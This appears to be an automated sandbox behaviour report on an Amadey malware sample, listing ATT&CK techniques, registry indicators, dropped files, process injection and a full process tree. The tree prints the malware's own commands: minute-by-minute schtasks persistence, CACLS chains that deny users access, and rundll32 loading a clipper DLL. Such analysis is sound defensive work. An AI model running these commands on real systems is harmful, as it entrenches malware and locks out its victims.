amadey | c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	t9391690.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	explonde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	w1676003.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	legota.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	214B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2848203831-2014322062-3611574811-1000\Control Panel\International\Geo\Nation	oneetx.exe

Executes dropped EXE 24 IoCs

pid	Process
4988	z7022160.exe
3084	z3593704.exe
2580	z0020136.exe
2976	z6325469.exe
2844	q6750071.exe
2892	r2153121.exe
4592	s1320092.exe
5032	t9391690.exe
5116	explonde.exe
3192	u7441804.exe
2944	w1676003.exe
864	legota.exe
2764	build.exe
2208	build.exe
4208	legota.exe
4144	explonde.exe
2336	1B6E.exe
4164	214B.exe
232	238E.exe
4052	oneetx.exe
4696	latestX.exe
4556	taskhost.exe
3684	updater.exe
2028	msedge.exe

Loads dropped DLL 2 IoCs

pid	Process
2972	rundll32.exe
2200	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	AppLaunch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	z7022160.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	z3593704.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	z0020136.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	z6325469.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3684	updater.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 3920 set thread context of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 2844 set thread context of 4344	2844	q6750071.exe	99
PID 2892 set thread context of 220	2892	r2153121.exe	104
PID 4592 set thread context of 5024	4592	s1320092.exe	112
PID 3192 set thread context of 3824	3192	u7441804.exe	131
PID 2336 set thread context of 2348	2336	1B6E.exe	162
PID 4556 set thread context of 2248	4556	taskhost.exe	178

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4412	sc.exe
4160	sc.exe
4144	sc.exe
3940	sc.exe
4556	sc.exe
408	sc.exe
4320	sc.exe
4712	sc.exe
4056	sc.exe
4000	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
384	3920	WerFault.exe	81
2920	2844	WerFault.exe	96
2112	2892	WerFault.exe	102
4032	220	WerFault.exe	104
960	4592	WerFault.exe	110
1092	3192	WerFault.exe	117

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3952	schtasks.exe
392	schtasks.exe
516	schtasks.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	87	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4344	AppLaunch.exe
4344	AppLaunch.exe
5024	AppLaunch.exe
5024	AppLaunch.exe
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found
3164	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3164	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5024	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	4344	AppLaunch.exe
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeDebugPrivilege	2764	build.exe
Token: SeDebugPrivilege	2208	build.exe
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeDebugPrivilege	232	238E.exe
Token: SeDebugPrivilege	2348	vbc.exe
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found
Token: SeShutdownPrivilege	3164	Process not Found
Token: SeCreatePagefilePrivilege	3164	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4164	214B.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3920 wrote to memory of 3840	3920	c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe	87
PID 3840 wrote to memory of 4988	3840	AppLaunch.exe	90
PID 3840 wrote to memory of 4988	3840	AppLaunch.exe	90
PID 3840 wrote to memory of 4988	3840	AppLaunch.exe	90
PID 4988 wrote to memory of 3084	4988	z7022160.exe	92
PID 4988 wrote to memory of 3084	4988	z7022160.exe	92
PID 4988 wrote to memory of 3084	4988	z7022160.exe	92
PID 3084 wrote to memory of 2580	3084	z3593704.exe	93
PID 3084 wrote to memory of 2580	3084	z3593704.exe	93
PID 3084 wrote to memory of 2580	3084	z3593704.exe	93
PID 2580 wrote to memory of 2976	2580	z0020136.exe	95
PID 2580 wrote to memory of 2976	2580	z0020136.exe	95
PID 2580 wrote to memory of 2976	2580	z0020136.exe	95
PID 2976 wrote to memory of 2844	2976	z6325469.exe	96
PID 2976 wrote to memory of 2844	2976	z6325469.exe	96
PID 2976 wrote to memory of 2844	2976	z6325469.exe	96
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2844 wrote to memory of 4344	2844	q6750071.exe	99
PID 2976 wrote to memory of 2892	2976	z6325469.exe	102
PID 2976 wrote to memory of 2892	2976	z6325469.exe	102
PID 2976 wrote to memory of 2892	2976	z6325469.exe	102
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2892 wrote to memory of 220	2892	r2153121.exe	104
PID 2580 wrote to memory of 4592	2580	z0020136.exe	110
PID 2580 wrote to memory of 4592	2580	z0020136.exe	110
PID 2580 wrote to memory of 4592	2580	z0020136.exe	110
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 4592 wrote to memory of 5024	4592	s1320092.exe	112
PID 3084 wrote to memory of 5032	3084	z3593704.exe	115
PID 3084 wrote to memory of 5032	3084	z3593704.exe	115
PID 3084 wrote to memory of 5032	3084	z3593704.exe	115
PID 5032 wrote to memory of 5116	5032	t9391690.exe	116
PID 5032 wrote to memory of 5116	5032	t9391690.exe	116
PID 5032 wrote to memory of 5116	5032	t9391690.exe	116
PID 4988 wrote to memory of 3192	4988	z7022160.exe	117
PID 4988 wrote to memory of 3192	4988	z7022160.exe	117
PID 4988 wrote to memory of 3192	4988	z7022160.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe
"C:\Users\Admin\AppData\Local\Temp\c565fd49eff46c8a6ed667bcd5cae8965866cd433a815fda2940c9875d64ae53.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z7022160.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z7022160.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z3593704.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z3593704.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3084
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z0020136.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z0020136.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:2580
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z6325469.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z6325469.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q6750071.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q6750071.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2844
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        Modifies Windows Defender Real-time Protection settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 580
        8⤵
        Program crash
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r2153121.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r2153121.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2892
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:220
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 220 -s 540
        9⤵
        Program crash
        
        PID:4032
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2892 -s 580
        8⤵
        Program crash
        
        PID:2112
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s1320092.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s1320092.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4592
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:5024
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 580
        7⤵
        Program crash
        
        PID:960
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t9391690.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t9391690.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:5116
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explonde.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe" /F
        7⤵
        Creates scheduled task(s)
        
        PID:3952
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explonde.exe" /P "Admin:N"&&CACLS "explonde.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
        7⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:2972
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explonde.exe" /P "Admin:N"
        8⤵
        
        PID:1764
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explonde.exe" /P "Admin:R" /E
        8⤵
        
        PID:4544
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:1496
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        8⤵
        
        PID:3684
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        8⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
        7⤵
        Loads dropped DLL
        
        PID:2972
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u7441804.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u7441804.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3192
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:2856
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:3824
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 140
        5⤵
        Program crash
        
        PID:1092
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w1676003.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w1676003.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2944
  - - C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
      "C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:864
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legota.exe /TR "C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:392
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legota.exe" /P "Admin:N"&&CACLS "legota.exe" /P "Admin:R" /E&&echo Y|CACLS "..\cb378487cf" /P "Admin:N"&&CACLS "..\cb378487cf" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:4184
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1908
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legota.exe" /P "Admin:N"
        6⤵
        
        PID:1088
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "legota.exe" /P "Admin:R" /E
        6⤵
        
        PID:4704
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1892
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\cb378487cf" /P "Admin:N"
        6⤵
        
        PID:1420
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\cb378487cf" /P "Admin:R" /E
        6⤵
        
        PID:4688
    - - C:\Users\Admin\AppData\Local\Temp\1000024001\build.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000024001\build.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2764
    - - C:\Users\Admin\AppData\Local\Temp\1000025001\build.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000025001\build.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2208
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:2200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 152
  2⤵
  - Program crash
  PID:384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3920 -ip 3920
1⤵
PID:3356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2844 -ip 2844
1⤵
PID:1892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2892 -ip 2892
1⤵
PID:2872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 220 -ip 220
1⤵
PID:2496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4592 -ip 4592
1⤵
PID:3312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3192 -ip 3192
1⤵
PID:4676

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
1⤵
- Executes dropped EXE
PID:4208

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
1⤵
- Executes dropped EXE
PID:4144

C:\Users\Admin\AppData\Local\Temp\1B6E.exe
C:\Users\Admin\AppData\Local\Temp\1B6E.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2336
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2348

C:\Users\Admin\AppData\Local\Temp\214B.exe
C:\Users\Admin\AppData\Local\Temp\214B.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:4164
- C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
  "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4052
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
    3⤵
    PID:4948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "oneetx.exe" /P "Admin:N"
      4⤵
      PID:3844
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "oneetx.exe" /P "Admin:R" /E
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\207aa4515d" /P "Admin:N"
      4⤵
      PID:2976
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\207aa4515d" /P "Admin:R" /E
      4⤵
      PID:4596
- - C:\Users\Admin\AppData\Local\Temp\1000457001\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\1000457001\latestX.exe"
    3⤵
    - Executes dropped EXE
    PID:4696
- - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4556
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:2248
- - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
    "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
    3⤵
    PID:3684
  - - C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      4⤵
      PID:4264
- - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
    3⤵
    - Executes dropped EXE
    PID:2028

C:\Users\Admin\AppData\Local\Temp\238E.exe
C:\Users\Admin\AppData\Local\Temp\238E.exe
1⤵
- Executes dropped EXE
